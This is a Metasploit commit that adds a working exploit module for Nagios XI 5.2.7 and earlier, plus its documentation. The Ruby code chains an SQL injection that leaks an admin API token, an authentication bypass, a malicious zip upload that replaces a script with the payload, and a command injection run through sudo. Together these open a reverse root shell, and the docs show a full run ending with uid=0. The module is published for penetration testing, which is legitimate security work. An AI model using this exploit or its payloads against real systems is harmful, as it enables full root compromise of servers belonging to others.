Land #7014, Nagios remote root shell exploit

bug/bundler_fix
Brendan 2016-07-01 08:17:38 -07:00
commit 70a79bb0e8
No known key found for this signature in database
GPG Key ID: ECC0F0A52E65F268
2 changed files with 348 additions and 0 deletions

View File

@ -0,0 +1,73 @@
## Intro
Nagios XI is the enterprise version of Nagios, the monitoring software we love
and hate.
> This module exploits an SQL injection, auth bypass, file upload, command
injection, and privilege escalation in Nagios XI <= 5.2.7 to pop a root shell.
## Setup
**Download the virtual appliance:**
I used the 64-bit OVA [here]. Remove the "-64" in the link to download the
32-bit OVA.
[here]: https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.2.7-64.ova
**Import the OVA:**
Just import it into VMware or VirtualBox. It should create a VM for you.
**Configure the software:**
When you start the VM, you will see ```Access Nagios XI at http://[redacted]```
on the login screen. Connect to the URL using your web browser and follow the
steps on the screen to configure the app.
Configuration is actually not required to exploit the app, but you should do it
anyway.
## Usage
Just set ```RHOST``` and fire off the module! It's pretty much painless.
```set VERBOSE true``` if you want to see details.
```
msf > use exploit/linux/http/nagios_xi_chained_rce
msf exploit(nagios_xi_chained_rce) > set rhost [redacted]
rhost => [redacted]
msf exploit(nagios_xi_chained_rce) > set verbose true
verbose => true
msf exploit(nagios_xi_chained_rce) > run
[*] Started reverse TCP handler on [redacted]:4444
[*] Nagios XI version: 5.2.7
[*] Getting API token
[+] API token: 3o2erpm0
[*] Getting admin cookie
[+] Admin cookie: nagiosxi=jcilcfptj7ogpvovgs3i5gilh7;
[+] CSRF token: 477abd7db8d06ade9c7fcd9e405fd911
[*] Getting monitored host
[+] Monitored host: localhost
[*] Downloading component
[*] Uploading root shell
[*] Popping shell!
[*] Command shell session 1 opened ([redacted]:4444 -> [redacted]:60132) at 2016-07-01 00:12:20 -0500
[*] Cleaning up...
[*] rm -rf ../profile
[*] unzip -qd .. ../../../../tmp/component-profile.zip
[*] chown -R nagios:nagios ../profile
[*] rm -f ../../../../tmp/component-xAmhUGRn.zip
3904334783
TwMSxKhKEaxUjlTSNYyeICVUuPSNkwoI
cKKdfdZxRpDduZCezKXOficrVyNeVggH
mRVdstQmfdtnFiYMjLgyfvRWXyQZPyUF
dDlRoqhBvqvwrhKYWumimyKxVHSbrkoE
wjCWBTgbsQuPemhiByeMpMEhdPooHEvw
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
uname -a
Linux localhost.localdomain 2.6.32-573.22.1.el6.x86_64 #1 SMP Wed Mar 23 03:35:39 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
```

View File

@ -0,0 +1,275 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Nagios XI Chained Remote Code Execution',
'Description' => %q{
This module exploits an SQL injection, auth bypass, file upload,
command injection, and privilege escalation in Nagios XI <= 5.2.7
to pop a root shell.
},
'Author' => [
'Francesco Oddo', # Vulnerability discovery
'wvu' # Metasploit module
],
'References' => [
['EDB', '39899']
],
'DisclosureDate' => 'Mar 6 2016',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic bash-tcp php perl python openssl gawk'
}
},
'Targets' => [
['Nagios XI <= 5.2.7', version: Gem::Version.new('5.2.7')]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash',
'LHOST' => Rex::Socket.source_address
}
))
end
def check
res = send_request_cgi!(
'method' => 'GET',
'uri' => '/nagiosxi/'
)
return unless res && (html = res.get_html_document)
if (version = html.at('//input[@name = "version"]/@value'))
vprint_status("Nagios XI version: #{version}")
if Gem::Version.new(version) <= target[:version]
return CheckCode::Appears
end
end
CheckCode::Safe
end
def exploit
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Vulnerable version not found! punt!')
end
print_status('Getting API token')
get_api_token
print_status('Getting admin cookie')
get_admin_cookie
print_status('Getting monitored host')
get_monitored_host
print_status('Downloading component')
download_profile_component
print_status('Uploading root shell')
upload_root_shell
print_status('Popping shell!')
pop_dat_shell
end
#
# Cleanup methods
#
def on_new_session(session)
super
print_status('Cleaning up...')
commands = [
'rm -rf ../profile',
'unzip -qd .. ../../../../tmp/component-profile.zip',
'chown -R nagios:nagios ../profile',
"rm -f ../../../../tmp/component-#{zip_filename}"
]
commands.each do |command|
vprint_status(command)
session.shell_command_token(command)
end
end
#
# Exploit methods
#
def get_api_token
res = send_request_cgi(
'method' => 'GET',
'uri' => '/nagiosxi/includes/components/nagiosim/nagiosim.php',
'vars_get' => {
'mode' => 'resolve',
'host' => '\'AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((' \
'SELECT backend_ticket FROM xi_users WHERE user_id=1' \
'),FLOOR(RAND(0)*2))x ' \
'FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- '
}
)
if res && res.body =~ /Duplicate entry '(.*?).'/
@api_token = $1
vprint_good("API token: #{@api_token}")
else
fail_with(Failure::UnexpectedReply, 'API token not found! punt!')
end
end
def get_admin_cookie
res = send_request_cgi(
'method' => 'GET',
'uri' => '/nagiosxi/rr.php',
'vars_get' => {
'uid' => "1-#{Rex::Text.rand_text_alpha(8)}-" +
Digest::MD5.hexdigest(@api_token)
}
)
if res && (@admin_cookie = res.get_cookies.split('; ').last)
vprint_good("Admin cookie: #{@admin_cookie}")
get_csrf_token(res.body)
else
fail_with(Failure::NoAccess, 'Admin cookie not found! punt!')
end
end
def get_csrf_token(body)
if body =~ /nsp_str = "(.*?)"/
@csrf_token = $1
vprint_good("CSRF token: #{@csrf_token}")
else
fail_with(Failure::UnexpectedReply, 'CSRF token not found! punt!')
end
end
def get_monitored_host
res = send_request_cgi(
'method' => 'GET',
'uri' => '/nagiosxi/ajaxhelper.php',
'cookie' => @admin_cookie,
'vars_get' => {
'cmd' => 'getxicoreajax',
'opts' => '{"func":"get_hoststatus_table"}',
'nsp' => @csrf_token
}
)
return unless res && (html = res.get_html_document)
if (@monitored_host = html.at('//div[@class = "hostname"]/a/text()'))
vprint_good("Monitored host: #{@monitored_host}")
else
fail_with(Failure::UnexpectedReply, 'Monitored host not found! punt!')
end
end
def download_profile_component
res = send_request_cgi(
'method' => 'GET',
'uri' => '/nagiosxi/admin/components.php',
'cookie' => @admin_cookie,
'vars_get' => {
'download' => 'profile'
}
)
if res && res.body =~ /^PK\x03\x04/
@profile_component = res.body
else
fail_with(Failure::UnexpectedReply, 'Failed to download component! punt!')
end
end
def upload_root_shell
mime = Rex::MIME::Message.new
mime.add_part(@csrf_token, nil, nil, 'form-data; name="nsp"')
mime.add_part('1', nil, nil, 'form-data; name="upload"')
mime.add_part('1000000', nil, nil, 'form-data; name="MAX_FILE_SIZE"')
mime.add_part(payload_zip, 'application/zip', 'binary',
'form-data; name="uploadedfile"; ' \
"filename=\"#{zip_filename}\"")
res = send_request_cgi!(
'method' => 'POST',
'uri' => '/nagiosxi/admin/components.php',
'cookie' => @admin_cookie,
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
'data' => mime.to_s
)
if res && res.code != 200
if res.redirect? && res.redirection.path == '/nagiosxi/install.php'
vprint_warning('Nagios XI not configured')
else
fail_with(Failure::PayloadFailed, 'Failed to upload root shell! punt!')
end
end
end
def pop_dat_shell
send_request_cgi(
'method' => 'GET',
'uri' => '/nagiosxi/includes/components/perfdata/graphApi.php',
'cookie' => @admin_cookie,
'vars_get' => {
'host' => @monitored_host,
'end' => ';sudo ../profile/getprofile.sh #'
}
)
end
#
# Support methods
#
def payload_zip
zip = Rex::Zip::Archive.new
Zip::File.open_buffer(@profile_component) do |z|
z.each do |f|
zip.entries << Rex::Zip::Entry.new(
f.name,
(if f.ftype == :file
if f.name == 'profile/getprofile.sh'
payload.encoded
else
z.read(f)
end
else
''
end),
Rex::Zip::CM_DEFLATE,
nil,
(Rex::Zip::EFA_ISDIR if f.ftype == :directory)
)
end
end
zip.pack
end
#
# Utility methods
#
def zip_filename
@zip_filename ||= Rex::Text.rand_text_alpha(8) + '.zip'
end
end